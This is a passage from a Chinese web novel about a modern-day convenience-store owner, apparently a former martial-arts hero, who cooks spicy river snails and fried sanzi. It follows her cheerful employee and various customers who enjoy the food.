以前上班时周瑶瑶恨不得天天放假,但现在她发现放假还不如上班,因为放假她只能吃外卖,可吃惯老板的手艺,原来觉得不错的外卖店她现在根本不想吃。 明清欢自己起得早,但通过网络知道现代的年轻人都爱睡懒觉,见她不想放假便道:“那你明天可以晚点来,在家多睡会。” 周瑶瑶有点想睡懒觉,但又不想错过她做的早餐,纠结一会后问:“老板,我今晚可以在店里住不?” 她说完发出不好意思的笑声,表示自己想多睡会,但又不想错过早餐。 “可以。” “老板你真好!你是世界上最好的老板!爱你~” 周瑶瑶说完还给她比了个心,随即就干劲满满地去给货架上补货,今天上午店里生意不错,卖出好多东西,货架上已经空了不少地方。 明清欢没让她一个人忙活,而是跟着一起摆货。 两个人刚把货架补满,很快就有顾客上门,而且人还不少,买的东西更是都装满一大袋。 “奇怪,今天生意怎么这么好?”周瑶瑶想到上午顾客就不少,结果下午更是隔一会就有顾客上门,越想越觉得奇怪,“老板你打广告了?” 明清欢自然没有给店里打广告,不过很快她们就从顾客口中得知原因。 当找到那个被主播拍下来的视频时,周瑶瑶立刻“哇”了一声:“老板你好帅啊!你看评论区,大家都在夸你……” 明清欢觉得自己只做了点举手之劳的事,看到评论区那些盛赞,再想到今天过来买东西的顾客,心里有些受之有愧。 顾客要上门买东西她阻止不了,不过接下来她却是没再补货架。 而周瑶瑶却是关注了这个叫“王瑞二美食记录”的主播,并看起他账号里其他视频。 “老板你看,他拍得还挺好。” 周瑶瑶找到好几个和侠客便利店相关的视频,忍不住和明清欢分享,分享完更是灵机一动:“老板,要不你也搞个账号,可以分享你的做菜视频。” 明清欢还没有回答,门外忽然传来询问声,是个推着三轮车的老人想接点热水喝。 马上就要到清明节,都说清明螺肥过鹅,这会正是吃螺蛳的季节。老人从村里带了两大桶田螺出来想卖点钱,结果从早上卖到现在也没卖出去多少,此时显然是累了,明清欢帮他装好温热水递过去,他一口气就喝掉大半。 老人向着她道谢时,明清欢却是低头看着三轮车上的田螺,感觉还挺肥美,于是顺口询问起价格。 第18章 第18章香辣螺蛳 “桶里还有五十多斤田螺,都是用清水养了三天已经吐过沙的,你要的话一百块全拿去。” 五十多斤一百块,算下来每斤田螺只要两块左右,这个价格在市场上已经很便宜。 “行,那我都要了。”明清欢说完让周瑶瑶去抽屉里拿钱,自己则是去厨房拿桶来装田螺。 老人没想到剩下那么多螺蛳真能全卖出去,脸上瞬间露出惊喜的笑容。 “爷爷,你要整钱还是零钱?” 周瑶瑶看到老人高兴得手都不知道往哪放,感觉他怪不容易的,还特意多问一句。 “给我个五十的,再给点十块和一块的吧,我答应孙女卖完回去给她两块钱。”老人提起自家孙女,脸上笑容很是慈祥。 “好。” 周瑶瑶去抽屉里拿钱,明清欢则是拎着桶出来,在老人要动手前,她抢先一步拎起桶把螺蛳全部倒入自己的桶里。 “爷爷给,你数一下。” 老人刚在心里感叹着小姑娘力气还不小,周瑶瑶就走过来把钱递给他。 “谢谢了。”道谢完,老人看到店内货架,可能是准备带点东西回去,于是走进去挑选起来。 “老板,你买这么多螺蛳要做菜吗?” 等老人买完东西高兴地骑着三轮车离开,周瑶瑶蹲在装螺蛳的桶边望着里面螺蛳问。 “对,清明前的螺蛳肉质肥美,有明前螺蛳塞过鹅的说法,现在正是吃它的时候。”明清欢说完顺口道,“你喜欢吃螺蛳吗?” “我没吃过,有点不敢吃。” 周瑶瑶不敢吃一部分原因是听说螺蛳有寄生虫,还有部分原因则是她感觉这玩意和蜗牛有点像,想想就不敢吃。 “没事,等明天做出来你可以试试,要是实在不想吃就算了,反正还有其他菜。” 明清欢倒是没觉得她不敢吃螺蛳有什么,毕竟谁还没点不吃的东西。 卖田螺的老人还挺实在,他说田螺在家已经用清水养过,确实能从桶里还算清澈的水质看出来。不过即便如此,明清欢将桶拎回厨房,还是重新换水往里面加入盐和香油,准备再养一晚吐吐沙。 “老板你在干嘛?”周瑶瑶看到她往水桶里放盐和香油,有点懵逼。 “加点盐和香油能让它们吐沙吐得干净点。” 明清欢是正好看到有人卖螺蛳才临时决定明天做个炒螺蛳,这么一搞,她明天工作量瞬间增加不少。 次日天还没亮,明清欢就从楼上下来,先检查一下昨天晚上提前腌制的鸭子,随即来到水桶边,伸手搅拌桶里螺蛳,发现果然又吐出不少泥沙后重新换水进行清洗。 连洗几次,桶里螺蛳连壳都被洗得格外清透,看着就很干净。 螺蛳好吃,但想吃到可没那么容易,清洗完还得用钳子钳掉尾部。明清欢动作很快,一把螺蛳抓在手里,两秒就能夹掉好几个螺尾。 六点不到,她已经把田螺处理完,效率那叫一个高。田螺尾剪干净,还要用清水再洗洗,残余的那点脏东西从尾巴处被洗出来,看着特别解压。 “老板你几点起来的?” 周瑶瑶走进厨房发现她竟然把螺蛳都剪完了,忍不住在心里感叹,同为年轻人,为什么她精神那么好,感觉天天像不用睡觉一样。 “我吵醒你了?”明清欢不答反问,同时手上活没停下来,而是又重新换水清洗。 “没有,我是自己醒的。”周瑶瑶说完望着盆里螺蛳道,“哇,老板你洗得好干净啊!” 绿褐色的田螺躺在盆里,盆中水已经看不见半点泥沙,螺壳更是被洗得像是抛过光一样。 明清欢将洗好的螺蛳放到旁边,仔细将手洗干净后就开始揉面做馒头。 “老板,馒头都不赚什么钱,做起来还麻烦,干嘛不直接取消早餐,把时间留着做中午的快餐,这样能多赚点钱,还不用那么累。” 外面好多店里馒头都卖一块或者一块五一个,味道还没自家好,周瑶瑶有点替老板感觉不值得。 “馒头做起来也不麻烦,早上起来顺手的事。” 明清欢是从做馒头开始 重新捡起老本行,既然有顾客爱吃,她觉得就花点时间的事,并不算什么。 当然,很可能是她观察到除了吴佑南这个学生外,还有个别顾客是冲着馒头价格便宜来的,不想让人连馒头都吃不上。 事实上她猜得很对,早上抢着来买馒头的顾客中确实有几个经济拮据。 其中有个叫何丽丽的女生由于租的房子没有厨房,连想自己煮挂面吃都难,于是天天吃泡面吃得都有点想吐,发现她家馒头便宜又好吃后,就每天一大早来买五个馒头。 今天早上何丽丽依旧早早来到便利店,生怕自己来晚点买不到馒头。 “你来了,今天还是要五个馒头吗?” 周瑶瑶显然已经记住这位老顾客,看到她主动询问。 “今天买六个吧,玉米的和白馒头各三个。” 何丽丽没有智能手机,手里那个老式机只能接打电话,之前每天五个馒头是三块八毛钱。 这年头几毛钱已经用得越来越少,天天让店里找她毛毛钱她其实挺不好意思。昨天她终于找到工作,下个月就有工资拿,她觉得可以每天多买个馒头庆祝一下。 “好。”周瑶瑶自然能看出她的窘迫,但体贴的什么也没问,什么也没说,不过见她今天能多买个馒头吃,心里却是暗暗替她高兴。 等到第一批馒头蒸好,热腾腾的馒头被装进袋子里送到顾客手上。 何丽丽买完馒头往外走时,迫不及待低头咬起来。 玉米馒头带着股清香,吃起来松软可口,哪怕最近天天吃,一天照三顿吃,她还是觉得百吃不腻,甚至想到今天早上能吃两个馒头,她眼中甚至透出几分小雀跃。 听说便利店的快餐也很美味,等下个月发工资了,我一定要来尝尝~ 何丽丽吃着美味馒头,感觉生活越来越有盼头,走路时脚步都更雀跃些。 她算是来得最早那批顾客,而随着她买完离开,便利店里人越来越多。 附近的某栋房子里,煊煊小朋友刚起床就扯着妈妈的手喊着“吃饭饭”。 煊煊妈妈刚开始还以为他饿了,赶紧先泡了点牛奶给他喝,结果小家伙摇头躲避着奶瓶,转而握着她手把她往外拉。 “你要出去吃饭?”煊煊妈妈很快猜出他是想出门,不由想到侠客便利店。 由于孩子非要闹着要走,最终煊煊妈妈只能带着他出门,到便利店时运气不错地买到馒头和茶叶蛋。 茶叶蛋和馒头味道都很不错,原本嚷嚷着要吃肉肉的小朋友被塞口馒头后,立刻就安静吃起来。 “老板你手艺真好,我家儿子昨天吃过你家午饭,今天早上醒来竟然还记得,非要拉着我出门。”煊煊妈妈看到儿子吃得那么香,忍不住对明清欢说。 明清欢看到白白嫩嫩的小孩吃得脸颊都鼓起来,脸上不自觉带出点笑意。 “跟姐姐说拜拜。”家里还有事,煊煊妈妈决定先带儿子回家,过会再来吃午饭,走之前还不忘对儿子说。 小家伙吃饱喝足,这会脸上挂着笑,看起来又乖又可爱,尤其是挥着小胖手奶声奶气说“拜拜”时。 “小孩子乖起来时是真可爱。” 目送母子二人离开,周瑶瑶忍不住感叹。 明清欢赞同地点点头,见馒头不剩多少,将店里交给她,自己先去厨房里忙活去。 八点左右,馒头全部卖完,周瑶瑶开始收拾东西。 “欢迎光临~” 八哥自从学会说话后,偶尔看到客人进门就会来上一句“欢迎光临”。 听到它的声音,周瑶瑶抬起头道:“不好意思,馒头已经卖完了。” “我不买馒头,可以在这坐着等吃午饭吗?” 来的是个穿着灰色羊毛大衣的青年,他头发有点长,不过配上那张脸,看起来倒是不显得邋遢,反而有点小帅。 周瑶瑶多看他两眼,确定不是什么明星就收回目光,对他上午就来吃午餐的行为倒是没有显得太惊讶。 “可以,你坐吧。” 她说完就转身跑进厨房里,开始品尝明清欢给她做的早餐。 “好好吃啊!” 今天明清欢煮了个青菜瘦肉粥,摊了几个鸡蛋饼,周瑶瑶吃得那叫一个香。 店里还有外人在,她快速解决鸡蛋饼后,端着稍微有点烫的粥去外面坐着吃。 八哥看到她端着碗出来,立刻扯着嗓子叫起来。周瑶瑶平时喜欢逗它玩,不过有它能吃的东西,还是挺愿意投喂它。 吃到她投喂的青菜瘦肉粥,八哥扯着嗓子喊:“好人,好人~” 听到它给自己发好人卡,周瑶瑶被逗笑,觉得那些顾客也是,什么话都教它说。 旁边桌子前,青年本来打开随身携带的平板不知道在干嘛,闻见鲜香中透着清爽的粥香后不由起身。 听到他想买碗粥,周瑶瑶想到厨房锅里还剩好多,开口道:“我帮你问下老板。” “你直接盛一碗给他,不用钱了。” 店里又不卖粥,明清欢觉得一碗粥而已,没必要收钱。 等周瑶瑶拿一次性碗盛好粥拿给那位顾客时,厨房内明清欢已经开始蒸鸭子。 由于昨天答应顾客们多做点脆皮香酥鸭,昨晚腌了十只鸭,现在光是蒸就要费点时间。 趁着蒸鸭的时间,她把其他食材处理好,台面上很快就用盆摆着整齐的食材。 今天菜色没什么变化,就是多了个香辣螺蛳。明清欢做菜是真讲究,本身螺蛳就已经被她洗得特别干净,做之前还要先给螺蛳焯一次水,然后才开始炒。 起锅烧油,加入葱姜蒜爆香后将螺蛳倒进去,再放入辣椒、豆瓣酱等配料翻炒,没多久香味就开始从锅里飘出来。 每次明清欢开始做菜时,从厨房飘出去的香味都是对闻到香味的人的一种折磨。 就连周瑶瑶这个天天吃她做的饭的人每次闻见香味都扛不住,更别说其他人。 八点多就过来的青年叫洛淮青,他是个网文作者,最近有点卡文,编辑让他没事出门转转换换心情,甚至还友情提示说他家附近有美食,于是他今天才会找过来。 刚刚他对着平板难得有了些灵感,用便携键盘敲了几百字出来,然而随着阵阵香味扑鼻而来,他瞬间就被转移注意力。 在洛淮青下意识转头朝着香味来源的方向望过去时,门口开始有人陆续进来。 “兄弟你竟然比我还早!” 有人注意到洛淮青,忍不住感叹一句。不过很快,大家都被店内香味给吸引,连连感叹好香。 脆皮香酥鸭的鸭肉香,春笋炒五花肉的笋香混合着肉香,炒青菜的清爽菜香,辣椒炒蛋的蛋香,红烧鸡翅的鸡肉香,菌菇汤的鲜香,还有香辣螺蛳的螺蛳香,一阵阵香味接连不断从厨房涌出来,便利店内顾客们都不自觉吞咽起口水来。 “简直香死个人了!还得是老刘你啊,竟然能找到这种好地方,换做我,看到店门就不会进来。” “你懂什么,真正的美食往往都是藏在这种小馆子里,今天跟我一起提前翘班不亏吧?” “不亏,就冲这香味,就算被老板发现我们翘班,被他骂一顿都值了。” “你少乌鸦嘴,我可不要被骂。” 便利店快餐好吃,但想吃到却是越来越不容易,但凡来晚点都买不到。可偏偏大部分工作都不会在十一点半之前就下班,以至于某些吃货甚至为了吃到快餐提前翘班来排队。 十一点零几分,晶莹的大米饭和每样都卖相诱人的菜被端出来,原本好好排队的顾客都不自觉往前挤起来。 “小心。” 明清欢发现有个女生差点被人挤倒,放下手里动作闪身过去将人扶住,速度快得当事人都没反应过来,慢半拍开口道:“谢谢。” 洛淮青来得早,正排在最前面,就算这样都有点没看清楚她是怎么瞬间从柜台后出现在柜台外面,眸光不由微微发亮,觉得她刚刚那个速度和身法,可以用在文里。 不 过一瞬间的职业病后,很快他注意力还是回到菜品上,望着泛琥珀色油光的脆皮香酥鸭,还有躺在红油汤中的螺蛳,以及嫩黄色春笋炒五花肉等菜,只觉得每道都令他食欲大开。 周瑶瑶正在拿一次性餐盒,明清欢扶完那位女顾客,提醒完其他顾客不要拥挤,回到柜台后:“你要什么菜?” “每样都来一份,再要碗汤。”洛淮青说完视线不由落在她身上,莫名感觉她身上有股和这个时代不同的气息。 非要让他形容的话,他感觉有点像经历过江湖风风雨雨,最终原则隐退的侠客。 明清欢察觉到他视线抬头看过去,就对上一双略显深邃的双眸,直接以表情询问对方有什么事。 “多少钱?”洛淮青心里有些不好意思,觉得自己大概是手里这本武侠文写魔怔了,看谁都往江湖上靠,不过他面上倒是没表露出来,询问完快餐价格立刻扫码付款。 付完钱,趁着店内桌子还没人坐,他直接占据一个位置。 “今天还有炒螺蛳,看起来好好吃的样子。” 有排在后面的顾客转头望着他放在桌上的餐盒,看到螺蛳时直接被吸引。 深褐色的螺蛳上面带着油光,底下是一层红油汤,汤汁中隐约能看出蒜末、花椒粒、紫苏等配料,各种颜色互相映衬,再配上螺蛳特有的河鲜味,看着就令人食指大动。 香辣螺蛳固然诱人,但洛淮青拿起筷子后还是先吃起脆皮香酥鸭,一入口,只觉得香、酥、脆、嫩,连骨头都透着香味。 两块香酥鸭下肚,他脑子里忽然来了灵感,不过不是现在更新的这本,而是忽然有点想写美食文。 洛淮青原本以为自己口腹之欲不重,直到筷子不停地将所有香酥鸭吃完,他才发现原来是以前没遇到他爱吃的东西。 解决完一道菜,他终于有空吃两口饭,咀嚼间他感觉这家店连米饭都格外好吃,米香味特别浓郁。 就着米饭再吃一口春笋炒五花肉,笋的爽脆与五花肉的鲜美互相映衬,吃起来又美味又下饭。 春笋要有油才好吃,五花肉的油脂被煸炒出来,笋裹上油脂的同时,五花肉染上春笋的清香,两者互相成就,组成这份带着春天气息的菜肴。 洛淮青吃得微微点头,甚至连心情都不自觉愉悦起来,感觉今天实在不虚此行。 等他终于吃到螺蛳时,味蕾上先是被辣味给刺激到,慢慢地开始尝到酱香味与螺蛳本身的鲜味,等吃到螺蛳肉时,弹嫩紧实的肉质伴随一阵汁水在嘴里迸裂开来,感觉又辣又鲜又令人上瘾。 他吃相还算矜持,哪怕觉得好吃动作始终不紧不慢。但不知何时坐到他旁边的顾客就没那个耐性,由于每个菜都太好吃,甚至已经右手握着筷子吃其他饭菜,左手直接捏着螺蛳时不时往嘴边送,吃得嘴角都沾上油。 “这螺蛳太过瘾了!又嫩又鲜又辣,而且处理得真好,别说泥沙,连土腥味都吃不出来。” “确实好吃,我还以为只有夏天才有螺蛳吃,没想到现在就能吃到这么美味的螺蛳。” “那你就不懂了,老话说‘明前螺塞过鹅’,这会可是吃螺的好时节,啧,老板手艺是真好,螺蛳处理得干净不说,调味更是一绝,吃得太过瘾了,不行,我得去整瓶酒,这么好的螺蛳不配点酒都可惜了。” 由于香辣螺丝过于美味,不少顾客都在店里买起酒来,也有不能喝酒的买了点可乐,倒是带动店内的酒水饮料生意。 “螺蛳真有那么好吃吗?” 周瑶瑶不吃螺蛳,看到顾客们一个个吃得赞不绝口,忍不住发出询问。 说实话,香辣螺蛳闻起来确实很香,卖相看着更是诱人,但她还是不太能理解,那么一丢丢的肉到底有什么吃头。 “好吃,这玩意嘶……越吃越香……” 有顾客被辣得都嘶哈起来,却还在不停把螺蛳往嘴边送,甚至连其他饭菜都顾不上吃,看得出来是位资深螺蛳爱好者。 看到对方都辣得额头冒汗还要继续吃,甚至抽空回答自己的问题,周瑶瑶被勾起好奇心。 她拿一次性碗装了几个螺蛳,退到旁边取下口罩准备尝尝到底是什么味道。 明清欢边继续给顾客打饭边用余光看着她,就见她捏着螺蛳观察半天才往嘴边送。 螺蛳上混着一层红油,螺蛳内更是带着满满的汤汁,会吃的人对着螺口轻轻一嗦,螺肉就带着汤汁一起进去嘴里,吃起来那叫一个鲜美。 但显然,周瑶瑶不属于会吃那类人,她把螺蛳整个吸了一遍,只吃到满嘴汤汁。 明清欢调味做的好,汤汁落在味蕾上,那叫一个麻辣鲜香,重口的调味吃起来简直令人上瘾。 周瑶瑶尝到味眼睛先是一亮,随即透出几分疑惑:“老板,我怎么吃不到里面的肉?” 明清欢还没开口,旁边就有热心顾客教起来,教她怎么嗦螺蛳。 周瑶瑶倒是有认真学,结果费半天力后螺肉倒是吸出来,她也被汤汁给呛着,呛得她好一阵咳嗽。 “不行你还是找根牙签把肉挑出来吃吧。” 热心顾客见她嗦个螺蛳竟然能把自己呛着,语气里带着点“不能喝坐小孩那桌”的意思。 周瑶瑶虽然被呛着,却也尝到螺蛳的鲜美,压根没听出对方话外之意,反而高高兴兴去找了根牙签来吃。 “用牙签好,一挑就出来。”她把吃起来紧实有弹性,还格外入味的螺肉送入口中,语气带着点小兴奋。 见她连螺蛳都不会吃,热心顾客有点恨铁不成钢:“你先嗦口汤,不然白瞎那么好的调味。” 明清欢见她昨天还信誓旦旦说自己不吃螺蛳,结果现在吃得那叫一个香,声音里不由透出几分笑意:“好吃吗?” “真香!”周瑶瑶直接回她两个字表示自己真香了,随即加快吃螺蛳速度。 说实话,她之前还以为螺丝肉吃起来是那种软趴趴的口感,没想到还挺有嚼劲,而且一点异味都吃不出来,入口先是辣,辣中带着麻,麻中满满都是鲜香味。 第19章 第19章馓子 由于是尝鲜,周瑶瑶只在一次性碗里装了七八个螺蛳,捏着牙签没两下就全部吃完,感觉螺蛳吃起来比辣条还有瘾。 她有点意犹未尽,不过快餐还没卖完,总不能在旁边吃个不停,于是去洗干净手重新回来帮忙。 “老板,你留螺蛳没?”周瑶瑶回味着味蕾上螺蛳的余味,感觉自己能吃一盆。 至于什么螺蛳有寄生虫,不敢吃螺蛳,在绝对的美味下她表示都可以克服。当然,更主要的还是她看过明清欢处理螺蛳,知道这些螺蛳被洗得有多干净,所以才能接受得那么快。 听到她小小声在自己耳边询问,明清欢语气带着微微笑意:“放心,给你留了。” 明清欢对自己手艺很自信,加上这些日子的相处她早就看清楚周瑶瑶的吃货本质,自然还是像往常一样每种菜都留点。 “老板你真好。”周瑶瑶得知厨房里还有螺蛳,声音不自觉上扬,接下来给顾客打饭时干劲十足,只想赶紧给他们打完好去享受午餐。 店内那张桌子早就坐满人,不少顾客甚至直接蹲在店门口吃,讲究点的还找个纸壳什么的垫一下,不讲究的就直接放地上。 跟周瑶瑶比起来,顾客们个个都是吃螺蛳的好手,先把螺壳上汤汁嗦干净,再对着螺蛳口轻轻一嗦,连肉带汤直接进嘴,好吃得让人不由发出感叹。 一时间,店里店外都响起螺蛳壳碰撞发出的清脆声响,听起来还有点悦耳。 螺蛳就是要辣才好吃,越辣越够味,不少顾客都被辣到冒汗后才赶紧吃其他菜解辣。 “我以前只吃过香酥鸡,没想到香酥鸭竟然也这么好吃!” “是啊,尤其是这个鸭皮,酥脆鲜香,吃起来还一点都不油腻,简直太美味了。” 随着店门口或蹲或站的顾客太多,甚至连店内柜台都被顾客占据当临时桌面用,有人忍不住冲明清欢喊话:“老 板,你就不能在门口摆几张桌子吗?你往外面看看,不知道的还以为丐帮聚会呢!” 明清欢听到“丐帮聚会”这个形容,再用余光扫向门口,感觉还真像那么回事。 她还好,只是眼底透出几分笑意,周瑶瑶笑点低,闻言直接笑出声来。 “别笑了老板,实在不行我支援你几张折叠桌,你记得签收,到时候给我留个固定位置就行。” “我没笑。”明清欢先澄清一句,随即表示,“不用麻烦你,我会抽空准备。” 其实快餐本来就是端走就吃,但谁让她家菜色好,顾客们经常忍不住把每个菜都买一遍,连汤都不落下,这样就根本没法端在手里吃。 而且由于饭菜味道太好,他们根本等不到带走找地方吃,所以才导致越来越多人直接蹲在店门口。 十一点半左右时,吴佑南来到店门口,发现店里店外到处都是人,小心避开其他顾客放在地上的饭菜走进店中。 明清欢注意到她,将提前准备好的馒头递给她。 “谢谢姐姐。” 吴佑南发现馒头里又带了菜,声音虽小,却带着满满的真诚。 “今天怎么比平常晚了?”明清欢顺口关心一句。 “数学老师最后一节课留堂了。” 吴佑南说完就赶紧离开,毕竟再不赶紧回学校吃饭时间都要不够。 而店内有顾客眼尖地看见她拎走的馒头时,却是忍不住开口:“老板,为什么她有馒头吃?” “她是去年就在我家买馒头的老顾客,所以有特殊待遇。” 明清欢这是大实话,吴佑南是从明老爷子在时就经常来店中买馒头的老顾客,有点特殊待遇也很应该。 “那我今年天天来你店里吃饭,明年这个时候你能给我留饭不?”有顾客脑子转得快,开始举一反三。 对此明清欢表示,店内现在都是老顾客,要留就不可能只给他留,既然全部都要留,那就等于全部都不留。 看得出来,随着在现代待的时间越来越长,明清欢性格都变得稍微开朗些,甚至会跟人开玩笑。 听到她这么说顾客们纷纷笑起来,有顾客还感叹:“老板你家快餐想吃一顿可真不容易,但凡来晚点都买不着。” “那可不怪我们,明明是你们吃个饭也要卷,十点多就有人来问能不能吃饭,今天更离谱,八点就有人来,不然我们店可以十一点半再营业。”周瑶瑶接话道。 洛淮青感觉好像在说自己,不由抬头往那边看一眼,不过很快就收回视线继续吃。 另一边,实验中学。 吴佑南回到教室时,班上同学立刻都围过来,纷纷伸手拿自己那份馒头。 “同样是馒头,这家馒头真的太好吃了,感觉怎么吃都不腻。” “确实,比起食堂的饭菜,我宁愿吃点馒头。” 学生们对吴佑南带过来的馒头给予好评,有人直接啃,有人则是弄点辣条夹在里面增加味道。 等把馒头分完,吴佑南打开底下盖着盖子的一次性餐盒,带着香辣气息的浓郁香味瞬间就飘出来,很快蔓延整个教室。 “好香啊!这是什么?”有学生闻见香味明知故问。 明清欢很细心地在袋子里放了点牙签,吴佑南不护食,听到询问就主动把牙签分出去。 “哇,这个螺蛳好好吃啊,嘶,就是有点辣……” “比辣条还好吃,尤其是这个汤,配馒头可真香。” “嘶哈,嘶哈……好辣啊!” “辣你就别吃了。” “不行,辣我也要吃,太好吃了,又辣又香,我才知道原来螺蛳那么好吃!等回家要我妈给我做这个吃。” 七八个学生围在吴佑南座位周围和她一起分享螺蛳,每个人都把螺蛳壳嗦了又嗦,连一点点汤都舍不得浪费。 吴佑南不太能吃辣,吃两个螺蛳就忍不住咬口馒头,但即便辣得脸都红了她还是想继续吃。 “来,请你喝瓶奶。” 有同学从课桌里拿出一板奶,直接给好朋友和吴佑南都分了一瓶。 以前吴佑南是不好意思接受同学这种好意的,因为觉得自己还不起,可能正是这个原因,她之前在学校里一直没什么朋友。 不过新学期由于帮同学带馒头,时不时还有老板送的菜,她跟同学关系倒是越来越好,此时见同学都帮她把吸管插好,便接过来说了声谢谢。 一盒螺蛳很快见底,就连汤都没剩下,算被学生们拿馒头蘸着吃掉,吃完只感觉又辣又过瘾。 “吴佑南,你跟我说一下这家店具体在哪呗,我想明天让我妈带我过去吃。” “带什么家长啊,我们可以自己去。” 吴佑南听到同学们都想去便利店,并没有藏着掖着,直接将地址告诉大家。 * 侠客便利店。 中午过后店内就闲下来,今天依旧有不少人来店里买东西,货架都已经被买空不少。 “老板,货架真不用补吗?” “明天再补吧。”明清欢扫了眼货架后道。 午餐结束时鸟笼被打开,八哥可以出来放放风,它没待在店里,而是飞到外面玩去。 “傻瓜,傻瓜~” 周瑶瑶听到外面传来熟悉的嗓音,忍不住道:“老板,你不管管吗?它这样在外面乱说话,会被打的吧。” “只要它不去招猫逗狗就没事。” 人对会说话的鸟包容心还挺高,明清欢觉得它只要不作死,问题不大。 事实也确实如此,路过的行人听到八哥说话,哪怕它是在骂人,跟生气比起来,还是觉得好玩更多些。 八哥看到有人拿手机对着自己,立刻往店里飞,直接把人带过来。 “老板,这是你家鸟啊?真好玩,竟然还会揽客。” 来都来了,他说完顺便在店里买点东西才离开。 等顾客离开,周瑶瑶“嘿”了一声道:“你这是要当招财鸟不成?再这样下去,感觉在这个店里你要比我还有用了。” “傻瓜,傻瓜~” “你才是傻瓜,天天好的不学,坏的一学就会。” “坏蛋,坏蛋~” “老板你看它!” 明清欢听到她告状,开口道:“小八。” 比刚来时圆润不少的八哥瞬间飞到她肩膀上停下,声音放低一个八度道:“你好,老板好~” “狗腿子,早上白给粥你吃了!”见它还有两副面孔,周瑶瑶忍不住哼了一声。 听到关键字“吃”,八哥瞬间又飞起来,停在她附近的椅子背上。 “你一只鸟怎么那么贪吃?” 眼见周瑶瑶又跟八哥拌起嘴来,明清欢微微摇头后起身走进厨房。 自从报仇雪恨后来到现代,明清欢已经很久没有梦见家人,但她从未忘记他们。 还有几天就要到寒食节,没有家破人亡时,家里长辈每年都会在寒食节前做寒具。正好现在没什么事,她想去做点寒具。 明清欢行动力是真强,说做就立刻开始动手,揉面,擀面片,将面片搓细绕成环钗形状,再下锅油炸。 寒具做法简单,但想要好吃从揉面开始就得很注意,面团不能太软,不能太硬。油炸时更是要把握好油温,这样才能炸出香脆可口,味道完美的寒具。 直到麦香混合着油脂香飘出厨房时,周瑶瑶才闻着味跑进厨房,等她过来,第一份金灿灿的寒具刚从锅里出来。 金黄油亮的寒具表面泛着琥珀色光泽,细细的面条互相缠绕,光看卖相就感觉它肯定特别酥脆。 “老板,这是什么?” “是寒具。” “寒具?寒具是什么?” 明清欢从原主记忆里翻找一会,换了种说法:“寒具就是馓子,以前有寒食节时不能动火的说法,就会在寒食节前几天提前做馓子,等到当天用来食用。” “涨知识了。”周瑶瑶点点头,下一秒注意力就转移到散发香味的馓子上,“老板,要我帮你尝尝味吗?” “你尝吧。”明清欢说话的同时手上动作不停,继续炸着馓子。 得到她同意,周瑶瑶迫不及待拿起馓子,好面,好油 做出来的食物散发出麦类经过油炸特有的香味,闻着特别有食欲。 她轻轻咬下去,牙齿碰撞间“咔嚓咔嚓”声瞬间响起,入口酥脆,咀嚼间咸香味美,吃起来有点让人上瘾。 “好吃哎!”周瑶瑶感觉这个叫馓子的东西味道和麻花有点像,但吃起来更酥更脆也更香。 她吃得有点停不下来,咔嚓咔嚓咬着,不知不觉就把整个馓子全部吃完。 一个馓子分量说多不多,说少也不少,明清欢发现她全部吃光光时,有点怀疑她晚上还吃不吃得下晚饭。 周瑶瑶不知道她在想什么,对上她看过来的余光,笑得露出小虎牙:“老板,我还想吃。” “你少吃点,小心晚上吃不下饭。”明清欢没有阻止她继续吃,只是提醒一句。 周瑶瑶边伸手拿馓子边道:“放心,就老板你的手艺,我怎么可能吃不下饭。” 炸货的香味很诱人,没多久八哥就被吸引过来,由于明清欢不让它进厨房,急得它直在厨房门口打转。 周瑶瑶看到它馋得口水都要下来,掰了点馓子走过去想逗逗它,结果没想到它反应速度那么快,直接叼走就跑。 而很快,香味顺着店门口飘出去,附近店铺的人如今基本都知道,只要有馋死人的香味,十有八九就是从侠客便利店飘出来。 星期五来逛街的人本来就不算多,附近不少店铺都没什么声音,于是有些店员直接摸过来,询问明清欢在做什么,得知是在炸馓子,立刻表示要买点。 明清欢本来没准备卖馓子,可经不住那些女店员央求,最终还是答应。 本来只是卖给附近店铺的店员,结果香味越来越浓,又吸引一些路人或是住在附近的居民过来凑热闹。 眼见买馓子的人越来越多,明清欢只能搞限购,每人只卖一小份,大概三两左右的馓子。 这年头,老板敢自己吃的东西才是好东西,有顾客觉得难得碰到又好吃又放心的吃食,见她限购,直接拿手机给亲朋好友发消息,让人过来帮忙买。 想法很好,可惜过来的亲朋好友在买到馓子后往往都是直接送到自己嘴里去。 “谢谢啊,下次有这种好吃的记得再通知我。” “我让你帮我买,谁让你自己吃了?” “太香了!你说这馓子怎么就这么好吃呢?” “靠!我就多余叫你过来!” 随着顾客越来越多,最终明清欢卖馓子卖到了下午五点,而且如果不是她不愿意继续做了,感觉还能卖下去。 周瑶瑶嘴巴是真停不住,刚刚顾客买撒子时她看顾客吃得香,时不时就要跟着吃点,于是等顾客们都离开后,她闻着店内浓郁的馓子香直接打了个饱嗝。 “你晚饭还吃吗?”明清欢又好笑又有些无奈。 “你煮啥?我感觉我还能喝点汤。” “那我煮点面,给你来点面汤?”都是面食,明清欢觉得这也算是某种原汤化原食了。 周瑶瑶连连点头:“好!” 晚上明清欢做的刀削面,将面揉好,用番茄鸡蛋做好汤底后就开始削面。 周瑶瑶看到她一手托着面团,一手拿着菜刀,刀光闪烁间面片就像下雨一样落进锅里,有被震惊到,赶紧拿手机记录下来。 等拍完,可能是没见过如此帅气的削面手法,她忍不住开口:“老板,要不还是给我来一丢丢面吧,我觉得我能吃。” “行。”明清欢答应下来,很快就把面削完煮熟,捞进番茄鸡蛋的汤底中。 “哇哦~好漂亮的番茄鸡蛋面,我简直太幸福了,竟然能每天吃到这么棒的美食!” 不得不说,周瑶瑶嘴巴是真甜,特别会给人情绪价值,不怪明清欢有时像是纵容自家妹妹一样惯着她。 番茄鸡蛋本身就很开胃,下午炸货吃太多的周瑶瑶捧着碗来一口汤,番茄的酸甜味很是开胃,喝完整个人都舒坦不少。 小半碗汤下肚,她忽然感觉自己有能行了,握着筷子吃起面来,刀削面爽滑筋道,果然和她想象中一样美味,吃得她头都差点埋进碗中。 吃饱喝足,她在店里又玩一会才回家,刚到家不久,她接到妈妈打过来的视频,刚接通手机那头就传来一连串关心的句子。 “瑶瑶,最近怎么没给妈妈打电话?是不是上班太累了?实在不行就回家吧,你看你上班上的人都瘦了,气色……” 周母本来想说女儿气色不好,结果仔细一看,发现她脸上白里透红,比过年在家时气色还好不说,甚至脸还圆润了一圈。 她当即大惊:“瑶瑶,你难道过劳肥了?你们公司是不是天天让你加班,给你太大压力了?” “妈你说什么呢!我哪肥了?”周瑶瑶说完却是下意识伸手摸摸脸,感觉好像是有点肉肉,但应该还算不上肥吧? 